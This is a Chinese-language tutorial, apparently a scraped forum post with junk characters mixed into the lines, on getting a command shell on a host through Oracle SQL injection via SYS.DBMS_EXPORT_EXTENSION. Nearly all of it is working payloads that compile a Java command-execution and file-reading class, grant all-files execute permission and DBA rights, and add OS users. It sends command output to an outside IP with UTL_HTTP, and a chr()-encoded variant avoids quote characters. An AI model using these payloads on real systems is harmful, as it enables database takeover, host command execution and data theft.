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# U U7 f$ N* D8 u介绍一个在web上通过oracle注入直接取得主机cmdshell的方法。
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以下的演示都是在web上的sql plus执行的,在web注入时 把select SYS.DBMS_EXPORT_EXTENSION.....改成
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/xxx.jsp?id=1 and '1'<>'a'||(select SYS.DBMS_EXPORT_EXTENSION.....)% J: |. | ^7 n5 h3 M
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的形式即可。(用" 'a'|| "是为了让语句返回true值)) i( K! j+ A/ F" R, N7 l- c5 u
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语句有点长,可能要用post提交。
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以下是各个步骤: @) ~$ a/ O7 H) Q3 G
% ?; `7 d ?' Y! H1.创建包
" s: R$ i' C/ A& H l- a7 v9 \/ Z通过注入 SYS.DBMS_EXPORT_EXTENSION 函数,在oracle上创建Java包LinxUtil,里面两个函数,runCMD用于执行系统命令,readFile用于读取文件:
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/xxx.jsp?id=1 and '1'<>'a'||(
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" L5 P7 C& E2 C( K6 Bselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
1 Z# I l4 W0 |$ U6 Ncreate or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(
: H' ?3 i. }( znew InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}public static String readFile(String filename){try{BufferedReader myReader= new BufferedReader(new FileReader(filename)); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}
$ ^( b) K& b8 q. Z}'''';END;'';END;--','SYS',0,'1',0) from dual9 j H$ f' T+ _- ?5 M# U
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------------------------
5 a4 |* k' p2 _2 p+ @* q$ I如果url有长度限制,可以把readFile()函数块去掉,即:7 m# {: }4 F4 P, K8 C
/xxx.jsp?id=1 and '1'<>'a'||() u/ ]. y; ]8 r' u2 R
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select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE '''' K0 \; n5 n9 Z6 L2 \1 E
create or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(
+ M& R8 G$ x3 B; J1 G `new InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}2 g& M3 f% q9 Q& g; ]; F) H
}'''';END;'';END;--','SYS',0,'1',0) from dual
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同时把后面步骤 提到的 对readFile()的处理语句去掉。
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; _/ u) z8 k a0 e( b4 I2.赋Java权限8 e0 i* }1 x2 ?5 e' C
6 c, n) C& I$ N- t- M/ h5 o, f6 Oselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''begin dbms_java.grant_permission( ''''''''PUBLIC'''''''', ''''''''SYS:java.io.FilePermission'''''''', ''''''''<<ALL FILES>>'''''''', ''''''''execute'''''''' );end;'''';END;'';END;--','SYS',0,'1',0) from dual6 `+ s- K" f' e2 f; W. a/ H
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+ F& L- e) E: n, q3 i8 w3.创建函数8 P: ~6 R: R' G. @
' @9 N4 ^* t" \0 D. G5 Z$ ~# xselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
6 K& _# B7 E; G1 S. X; Qcreate or replace function LinxRunCMD(p_cmd in varchar2) return varchar2 as language java name ''''''''LinxUtil.runCMD(java.lang.String) return String''''''''; '''';END;'';END;--','SYS',0,'1',0) from dual8 G7 P! A# r& x( C8 @
# e) j! H. u* I/ O( I" \select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''4 c9 G7 L* r( A; v) |2 U
create or replace function LinxReadFile(filename in varchar2) return varchar2 as language java name ''''''''LinxUtil.readFile(java.lang.String) return String''''''''; '''';END;'';END;--','SYS',0,'1',0) from dual
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4.赋public执行函数的权限. y. x9 X6 _" @+ N1 j. J r
' n* o+ @4 n: v! o- Aselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on LinxRunCMD to public'''';END;'';END;--','SYS',0,'1',0) from dual
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select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on LinxReadFile to public'''';END;'';END;--','SYS',0,'1',0) from dual
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# Z' k; H8 [$ \6 p5 y: p5.测试上面的几步是否成功
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7 S% W: k1 X6 u9 u4 ]: D# H W6 Vselect OBJECT_ID from all_objects where object_name ='LINXRUNCMD'" r( ?4 @, w5 W
)
) [$ [4 @3 G; ~. n" n. Y, P! {: P2 D. h: M* G0 G+ O
and '1'<>(+ W. c3 ~2 C0 z& G7 i
select OBJECT_ID from all_objects where object_name ='LINXREADFILE'. Q5 P+ b8 Z- p1 a& K
)
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6.执行命令:5 [8 \3 }: G9 s! ^
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/xxx.jsp?id=1 and '1'<>(! G, ~9 b5 R# k R; u) M
select sys.LinxRunCMD('cmd /c net user linx /add') from dual8 g( ^/ ]& P0 c+ I; ]4 B. `: W# S$ L
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/xxx.jsp?id=1 and '1'<>(
" K$ d3 q7 u/ x& J& ~4 f# J3 O' O. aselect sys.LinxReadFile('c:/boot.ini') from dual1 I% ~# O) |/ ]; a
); X' n& _! T A+ _ f. q! n
7 V2 _$ Y. u& z注意sys.LinxReadFile()返回的是varchar类型,不能用"and 1<>" 代替 "and '1'<>"。
- \2 C6 O8 e( h& K# U如果要查看运行结果可以用 union :' b4 v3 Q* C+ `# _+ t+ J
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/xxx.jsp?id=1 union select sys.LinxRunCMD('cmd /c net user linx /add') from dual
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/ `9 } k$ Q9 q+ r/ H) c$ D或者UTL_HTTP.request(:
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SELECT UTL_HTTP.request('http://211.71.147.3/record.php?a=LinxRunCMD:'||REPLACE(REPLACE(sys.LinxRunCMD('cmd /c net user aaa /del'),' ','%20'),'\n','%0A')) FROM dual7 w# x L# n5 M4 Z: ^: w
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# H8 F; Z5 J' B. a4 B6 P/xxx.jsp?id=1 and '1'<>(( i/ V' D+ Y6 m1 r Y+ ^: Y
SELECT UTL_HTTP.request('http://211.71.147.3/record.php?a=LinxRunCMD:'||REPLACE(REPLACE(sys.LinxReadFile('c:/boot.ini'),' ','%20'),'\n','%0A')) FROM dual# C# ~! N2 b: P% b5 d
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注意:用UTL_HTTP.request时,要用 REPLACE() 把空格、换行符给替换掉,否则会无法提交http request。用utl_encode.base64_encode也可以。5 d' x) Y+ d* \4 k) D3 k# _
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6.内部变化
- U( s$ Q$ L7 T9 @4 b0 t+ |通过以下命令可以查看all_objects表达改变:
$ M* E* c/ F8 Q5 R3 Bselect * from all_objects where object_name like '%LINX%' or object_name like '%Linx%'' J7 y4 @' S* W( z# n4 I
0 h' ]; |+ O7 `7.删除我们创建的函数
' `$ U" V) t% J# C+ rselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''; H- S9 I, L4 `: W* {
drop function LinxRunCMD '''';END;'';END;--','SYS',0,'1',0) from dual
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7 ?: N; `! ], I0 R+ y====================================================; l6 S$ y' f6 _: A& k c4 t4 z1 h
全文结束。谨以此文赠与我的朋友。
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124829445# A8 r. ~' \6 G: _ q; D0 r
2008.1.121 v: d6 a9 t- W! u
linyujian@bjfu.edu.cn# F. s: B9 ~" g$ `! o" e6 c# Q
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' e& o& r. |0 O4 y @: s4 L======================================================================
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0 d$ b) ?- n9 i2 ^- _% D' P' p测试漏洞的另一方法: v s4 L- V( n1 O8 q8 L+ L
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创建oracle帐号:
, h; r3 F- J; L# N" kselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''! Z+ r) o* J2 u. y7 h0 _
CREATE USER linxsql IDENTIFIED BY linxsql'''';END;'';END;--','SYS',0,'1',0) from dual
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- \, |# r3 U C% M5 [5 f; ]即:
! p- x! u& m% b" t" _select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(chr(70)||chr(79)||chr(79),chr(66)||chr(65)||chr(82),: u, j/ W! {' g
chr(68)||chr(66)||chr(77)||chr(83)||chr(95)||chr(79)||chr(85)||chr(84)||chr(80)||chr(85)||chr(84)||chr(34)||chr(46)||chr(80)||chr(85)||chr(84)||chr(40)||chr(58)||chr(80)||chr(49)||chr(41)||chr(59)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(68)||chr(69)||chr(67)||chr(76)||chr(65)||chr(82)||chr(69)||chr(32)||chr(80)||chr(82)||chr(65)||chr(71)||chr(77)||chr(65)||chr(32)||chr(65)||chr(85)||chr(84)||chr(79)||chr(78)||chr(79)||chr(77)||chr(79)||chr(85)||chr(83)||chr(95)||chr(84)||chr(82)||chr(65)||chr(78)||chr(83)||chr(65)||chr(67)||chr(84)||chr(73)||chr(79)||chr(78)||chr(59)||chr(66)||chr(69)||chr(71)||chr(73)||chr(78)||chr(32)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(39)||chr(67)||chr(82)||chr(69)||chr(65)||chr(84)||chr(69)||chr(32)||chr(85)||chr(83)||chr(69)||chr(82)||chr(32)||chr(108)||chr(105)||chr(110)||chr(120)||chr(115)||chr(113)||chr(108)||chr(32)||chr(73)||chr(68)||chr(69)||chr(78)||chr(84)||chr(73)||chr(70)||chr(73)||chr(69)||chr(68)||chr(32)||chr(66)||chr(89)||chr(32)||chr(108)||chr(105)||chr(110)||chr(120)||chr(115)||chr(113)||chr(108)||chr(39)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(45)||chr(45),chr(83)||chr(89)||chr(83),0,chr(49),0) from dual
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select user_id from all_users where username='LINXSQL'
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给linxsql连接权限:
# [8 h, Z; q# U* P: @* Pselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''4 R2 ~; n1 D; }- Q0 I
GRANT CONNECT TO linxsql'''';END;'';END;--','SYS',0,'1',0) from dual
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3 s5 M9 p, }1 l! t" h" Gselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
* L5 u, z$ l; ]- z; I+ {! Pdrop user LINXSQL'''';END;'';END;--','SYS',0,'1',0) from dual
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以下方法创建一个可以执行多语句的函数Linx_query(),执行成功的话返回数值"1",但权限是继承的,可能仅仅是public权限,作用似乎不大,真的要用到话可以考虑grant dba to 当前的User:7 h. W" P! Z" S! A+ g9 [
$ R7 L9 W: q# B! j3 a W, c2 p1.jsp?id=1 and '1'<>(" O ]" `) m1 }1 Z# |0 a/ Q( R6 U
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
, F% U5 G( u! R3 x+ Hcreate or replace function Linx_query (p varchar2) return number authid current_user is begin execute immediate p; return 1; end; '''';END;'';END;--','SYS',0,'1',0) from dual) P4 H9 B" y+ f+ P8 g- H. |9 q6 ]
) and ...4 w6 m0 n; E- _3 x
9 U5 U- T( M+ m- r2 u1.jsp?id=1 and '1'<>(
' Q( z* n9 N G6 F9 k2 G3 pselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on Linx_query to public'''';END;'';END;--','SYS',0,'1',0) from dual- y5 f3 ]7 x6 O8 H. x: M j6 \
) and ...
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1.jsp?id=1 and '1'<>(' V$ }; q! R# R% k) b0 B3 M/ \* S
SELECT sys.Linx_Query('SELECT 14554 FROM DUAL') FROM DUAL
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* ?- F7 f% _ r1.jsp?id=1 and '1'<>(1 Z: k* v' N7 K: a) U7 G5 Q
SELECT sys.Linx_Query('declare pragma6 Z. v* Q5 C/ L
autonomous_transaction; begin execute immediate ''1 z/ s8 ^/ a4 b7 r
select 1 from dual
/ ~! s+ s! a$ c3 A) {''; commit; end;') from dual
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: y' x7 M. d0 W1 A# v1 v% ?* j/ x1 c多语句:
0 Y5 I1 ^0 E7 _9 V/ J+ y9 JSELECT sys.Linx_Query('declare temp varchar2(200); begin select 1 into temp from dual; select 2 into temp from dual; end;') from dual3 i- v* t% ^0 ?! n4 S
& u2 S3 j# `- g/ p! C创建用户(除非当前用户有system权限,否则无法成功):- m. H7 e6 M7 C7 g$ k2 n$ L1 i' a
SELECT sys.Linx_Query('declare pragma
& s" V) z5 o6 z3 q9 ]+ t, hautonomous_transaction; begin execute immediate ''! w% T* q' C7 r: x
CREATE USER Linx_Query_User IDENTIFIED BY Linx_Query_User; l, f: \6 D+ E
''; commit; end;') from dual: E" X( \. ?7 g7 r) t/ `" L
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================
- x" P0 i- S3 K# `以下的方法是先建立函数Linx_Query(),再建立 RunCMD2()
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" `0 W; }* P/ R7 I. B1 |9 q8 r1.创建函数
! `% y% _5 f, Sselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''5 E% v5 M* ^- Z! }& s* k6 ?3 J
create or replace function Linx_Query (p
5 A, ?1 S8 ^; N2 Ivarchar2) return number authid current_user is begin execute immediate
' k6 z3 E f6 f) q2 ap; return 1; end; '''';END;'';END;--','SYS',0,'1',0) from dual;% _& T/ W2 {% w: d
& J- J! ^$ T( Z4 a- o如果有权限,以下语句应该允许正常
3 u& q1 |: G- w* O& M4 ?select sys.linx_query('select 1 from dual') from dual;
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! F G3 ~+ f" K% @" c/ l8 I不然的话运行:
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% J2 c+ \& u: E: ^! _9 Y* `select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
8 K% {3 W1 E, M" Zgrant dba to 当前的User'''';END;'';END;--','SYS',0,'1',0) from dual4 X8 G, S; V! O' |6 E0 Q
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; J* ~ K2 l" t2 Y2.创建包7 [! G2 D/ d6 W, O2 r5 ~
SELECT sys.Linx_Query('declare pragma2 o2 m0 q- d) H3 { v7 b
autonomous_transaction; begin execute immediate ''0 K( I2 i" O& v) Q2 e
create or replace and compile java source named "LinxUtil2" as import java.io.*;public class LinxUtil2 extends Object {public static String RunCMD(String args) throws IOException{BufferedReader myReader= new BufferedReader(
" P) E w4 @% i* C& Znew InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";return str;}}''; commit; end;') from dual. C. m6 q0 I( `0 C3 e2 f2 U
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3.创建函数1 \' ^* `7 C8 s) Z
SELECT sys.Linx_Query('declare pragma0 e3 b& Y) t+ T8 ~5 W4 e* [
autonomous_transaction; begin execute immediate ''# ^" `7 f5 |2 [( Z
create or replace function RunCMD2(p_cmd in varchar2) return varchar2 as language java name ''''LinxUtil2.RunCMD(java.lang.String) return String'''';''; commit; end;') from dual$ W! t3 B, T: z/ r
8 j' M! d6 ^# D% V4.给权限
, v( t; I, f a0 @0 Y给用户SYSTEM执行权限:
: K4 h0 r% x/ k8 E# n% Y& J
, e* f" k& Y1 ZSELECT sys.Linx_Query('declare pragma autonomous_transaction;begin dbms_java.grant_permission( ''SYSTEM'', ''SYS:java.io.FilePermission'', ''<<ALL FILES>>'', ''execute'' );end;') from dual# w! E" q- E( S4 I
Y" V& J6 G1 }( [! I
/ t0 M8 C. J/ d" { N7 m
+ g2 G7 N+ w6 L! W# Z5.执行函数
8 n c; I4 D1 I' V; s! |select RunCMD2('cmd /c dir') from dual
! [) z; T" R) t+ q. S$ r
: Y+ X, `5 U1 {) z9 y
& `6 o- T, o+ R% z9 O& m [! y4 T) O; ?. f
0 x. _& d% Y, p2 x
" I- ~% t+ X9 O5 y% ?==================
5 w' o3 t2 O* i$ g================================
# o9 A* V5 y: \+ ?+ c/ c3 l# U1 V. S4 Z' Z( ]0 i9 s
以下是无 " ' " 版:! ]! B# N5 R0 E& @
" x! ], V; q+ m1 y0 b以下是各个步骤:
( J# k9 X) e" h% o! n
+ \+ z* [2 r& {1.创建包: L; n+ A. y* T( q2 ~
通过注入 SYS.DBMS_EXPORT_EXTENSION 函数,在oracle上创建Java包LinxUtil,里面两个函数,runCMD用于执行系统命令,readFile用于读取文件:
" |! N8 a* b3 D. v6 `+ N因为建立了两个函数,转换为ascii后,语句更长了,注意提交时不要把换行去掉,否则执行不成功的:. `( t/ O: ~' `$ O
- k$ [: p. X ]0 ?6 U8 R/xxx.jsp?id=1 and chr(49)<>chr(50)||(
, U- y, G3 d1 K7 U% L6 K. p: c' ?
1 N- V" \, @* ^5 O! O# C. g" iselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(chr(70)||chr(79)||chr(79),chr(66)||chr(65)||chr(82),
, W5 ~* J: ?6 }7 s0 A' Cchr(68)||chr(66)||chr(77)||chr(83)||chr(95)||chr(79)||chr(85)||chr(84)||chr(80)||chr(85)||chr(84)||chr(34)||chr(46)||chr(80)||chr(85)||chr(84)||chr(40)||chr(58)||chr(80)||chr(49)||chr(41)||chr(59)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)|| s2 J8 }" {5 w K7 ? \! l: J
chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(68)||chr(69)||chr(67)||chr(76)||chr(65)||chr(82)||chr(69)||chr(32)||chr(80)||chr(82)||chr(65)||chr(71)||chr(77)||chr(65)||chr(32)||chr(65)||chr(85)||chr(84)||chr(79)||: O5 W# n* Q! [, l/ ^3 t2 W3 W9 ~
chr(78)||chr(79)||chr(77)||chr(79)||chr(85)||chr(83)||chr(95)||chr(84)||chr(82)||chr(65)||chr(78)||chr(83)||chr(65)||chr(67)||chr(84)||chr(73)||chr(79)||chr(78)||chr(59)||chr(66)||chr(69)||chr(71)||chr(73)||chr(78)||chr(32)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||/ t0 f- _9 ?9 o+ u
chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(39)||chr(32)||chr(32)||chr(99)||chr(114)||chr(101)||chr(97)||chr(116)||chr(101)||chr(32)||chr(111)||chr(114)||chr(32)||chr(114)||chr(101)||chr(112)||& `$ F1 C# H/ W
chr(108)||chr(97)||chr(99)||chr(101)||chr(32)||chr(97)||chr(110)||chr(100)||chr(32)||chr(99)||chr(111)||chr(109)||chr(112)||chr(105)||chr(108)||chr(101)||chr(32)||chr(106)||chr(97)||chr(118)||chr(97)||chr(32)||chr(115)||chr(111)||chr(117)||chr(114)||chr(99)||chr(101)||chr(32)||chr(110)||4 K8 D. B/ f5 [7 |' `
chr(97)||chr(109)||chr(101)||chr(100)||chr(32)||chr(34)||chr(76)||chr(105)||chr(110)||chr(120)||chr(85)||chr(116)||chr(105)||chr(108)||chr(34)||chr(32)||chr(97)||chr(115)||chr(32)||chr(105)||chr(109)||chr(112)||chr(111)||chr(114)||chr(116)||chr(32)||chr(106)||chr(97)||chr(118)||chr(97)||
6 T* F/ J2 x. B# u- ]chr(46)||chr(105)||chr(111)||chr(46)||chr(42)||chr(59)||chr(32)||chr(112)||chr(117)||chr(98)||chr(108)||chr(105)||chr(99)||chr(32)||chr(99)||chr(108)||chr(97)||chr(115)||chr(115)||chr(32)||chr(76)||chr(105)||chr(110)||chr(120)||chr(85)||chr(116)||chr(105)||chr(108)||chr(32)||chr(101)||
( ?3 q, ~; L- Q6 {chr(120)||chr(116)||chr(101)||chr(110)||chr(100)||chr(115)||chr(32)||chr(79)||chr(98)||chr(106)||chr(101)||chr(99)||chr(116)||chr(32)||chr(123)||chr(112)||chr(117)||chr(98)||chr(108)||chr(105)||chr(99)||chr(32)||chr(115)||chr(116)||chr(97)||chr(116)||chr(105)||chr(99)||chr(32)||chr(83)||3 F& r- H B% ]6 s
chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(32)||chr(114)||chr(117)||chr(110)||chr(67)||chr(77)||chr(68)||chr(40)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(32)||chr(97)||chr(114)||chr(103)||chr(115)||chr(41)||chr(32)||chr(123)||chr(116)||chr(114)||chr(121)||' h+ D. I, F* H8 T: v& {2 a
chr(123)||chr(66)||chr(117)||chr(102)||chr(102)||chr(101)||chr(114)||chr(101)||chr(100)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(32)||chr(109)||chr(121)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(61)||chr(32)||chr(110)||chr(101)||chr(119)||chr(32)||
+ S* A8 ?, d, u. v9 m% zchr(66)||chr(117)||chr(102)||chr(102)||chr(101)||chr(114)||chr(101)||chr(100)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(40)||chr(110)||chr(101)||chr(119)||chr(32)||chr(73)||chr(110)||chr(112)||chr(117)||chr(116)||chr(83)||chr(116)||chr(114)||chr(101)||chr(97)||chr(109)||
; @# o5 l8 `+ vchr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(40)||chr(32)||chr(82)||chr(117)||chr(110)||chr(116)||chr(105)||chr(109)||chr(101)||chr(46)||chr(103)||chr(101)||chr(116)||chr(82)||chr(117)||chr(110)||chr(116)||chr(105)||chr(109)||chr(101)||chr(40)||chr(41)||chr(46)||chr(101)|| }# P& Q8 D: G
chr(120)||chr(101)||chr(99)||chr(40)||chr(97)||chr(114)||chr(103)||chr(115)||chr(41)||chr(46)||chr(103)||chr(101)||chr(116)||chr(73)||chr(110)||chr(112)||chr(117)||chr(116)||chr(83)||chr(116)||chr(114)||chr(101)||chr(97)||chr(109)||chr(40)||chr(41)||chr(32)||chr(41)||chr(32)||chr(41)||1 R, h( F$ H" n! @# ]' W
chr(59)||chr(32)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(32)||chr(115)||chr(116)||chr(101)||chr(109)||chr(112)||chr(44)||chr(115)||chr(116)||chr(114)||chr(61)||chr(34)||chr(34)||chr(59)||chr(119)||chr(104)||chr(105)||chr(108)||chr(101)||chr(32)||chr(40)||chr(40)||
% \% r6 a" j- D& Z8 Z1 Nchr(115)||chr(116)||chr(101)||chr(109)||chr(112)||chr(32)||chr(61)||chr(32)||chr(109)||chr(121)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(46)||chr(114)||chr(101)||chr(97)||chr(100)||chr(76)||chr(105)||chr(110)||chr(101)||chr(40)||chr(41)||chr(41)||chr(32)||chr(33)||3 G4 z( i- N0 ]1 o
chr(61)||chr(32)||chr(110)||chr(117)||chr(108)||chr(108)||chr(41)||chr(32)||chr(115)||chr(116)||chr(114)||chr(32)||chr(43)||chr(61)||chr(115)||chr(116)||chr(101)||chr(109)||chr(112)||chr(43)||chr(34)||chr(92)||chr(110)||chr(34)||chr(59)||chr(109)||chr(121)||chr(82)||chr(101)||chr(97)||0 {4 T% x1 q% g# ^5 k
chr(100)||chr(101)||chr(114)||chr(46)||chr(99)||chr(108)||chr(111)||chr(115)||chr(101)||chr(40)||chr(41)||chr(59)||chr(114)||chr(101)||chr(116)||chr(117)||chr(114)||chr(110)||chr(32)||chr(115)||chr(116)||chr(114)||chr(59)||chr(125)||chr(32)||chr(99)||chr(97)||chr(116)||chr(99)||chr(104)||
: ~3 z! g# h8 @; |1 kchr(32)||chr(40)||chr(69)||chr(120)||chr(99)||chr(101)||chr(112)||chr(116)||chr(105)||chr(111)||chr(110)||chr(32)||chr(101)||chr(41)||chr(123)||chr(114)||chr(101)||chr(116)||chr(117)||chr(114)||chr(110)||chr(32)||chr(101)||chr(46)||chr(116)||chr(111)||chr(83)||chr(116)||chr(114)||chr(105)||. |8 b) b" I b" F2 G+ E& V
chr(110)||chr(103)||chr(40)||chr(41)||chr(59)||chr(125)||chr(125)||chr(112)||chr(117)||chr(98)||chr(108)||chr(105)||chr(99)||chr(32)||chr(115)||chr(116)||chr(97)||chr(116)||chr(105)||chr(99)||chr(32)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(32)||chr(114)||chr(101)||2 E4 B: p' E: k6 [4 M: S. M
chr(97)||chr(100)||chr(70)||chr(105)||chr(108)||chr(101)||chr(40)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(32)||chr(102)||chr(105)||chr(108)||chr(101)||chr(110)||chr(97)||chr(109)||chr(101)||chr(41)||chr(123)||chr(116)||chr(114)||chr(121)||chr(123)||chr(66)||chr(117)||) j E# n. J, e$ E& w
chr(102)||chr(102)||chr(101)||chr(114)||chr(101)||chr(100)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(32)||chr(109)||chr(121)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(61)||chr(32)||chr(110)||chr(101)||chr(119)||chr(32)||chr(66)||chr(117)||chr(102)||" {! g; H$ {& x* E h1 G8 Y
chr(102)||chr(101)||chr(114)||chr(101)||chr(100)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(40)||chr(110)||chr(101)||chr(119)||chr(32)||chr(70)||chr(105)||chr(108)||chr(101)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(40)||chr(102)||chr(105)||chr(108)||7 u" w0 E. A+ D! G I* p
chr(101)||chr(110)||chr(97)||chr(109)||chr(101)||chr(41)||chr(41)||chr(59)||chr(32)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(32)||chr(115)||chr(116)||chr(101)||chr(109)||chr(112)||chr(44)||chr(115)||chr(116)||chr(114)||chr(61)||chr(34)||chr(34)||chr(59)||chr(119)||" L h7 }; y* ]7 V
chr(104)||chr(105)||chr(108)||chr(101)||chr(32)||chr(40)||chr(40)||chr(115)||chr(116)||chr(101)||chr(109)||chr(112)||chr(32)||chr(61)||chr(32)||chr(109)||chr(121)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(46)||chr(114)||chr(101)||chr(97)||chr(100)||chr(76)||chr(105)||) S* P% N- G+ |
chr(110)||chr(101)||chr(40)||chr(41)||chr(41)||chr(32)||chr(33)||chr(61)||chr(32)||chr(110)||chr(117)||chr(108)||chr(108)||chr(41)||chr(32)||chr(115)||chr(116)||chr(114)||chr(32)||chr(43)||chr(61)||chr(115)||chr(116)||chr(101)||chr(109)||chr(112)||chr(43)||chr(34)||chr(92)||chr(110)||+ L! e! U5 P0 i, K E7 X d
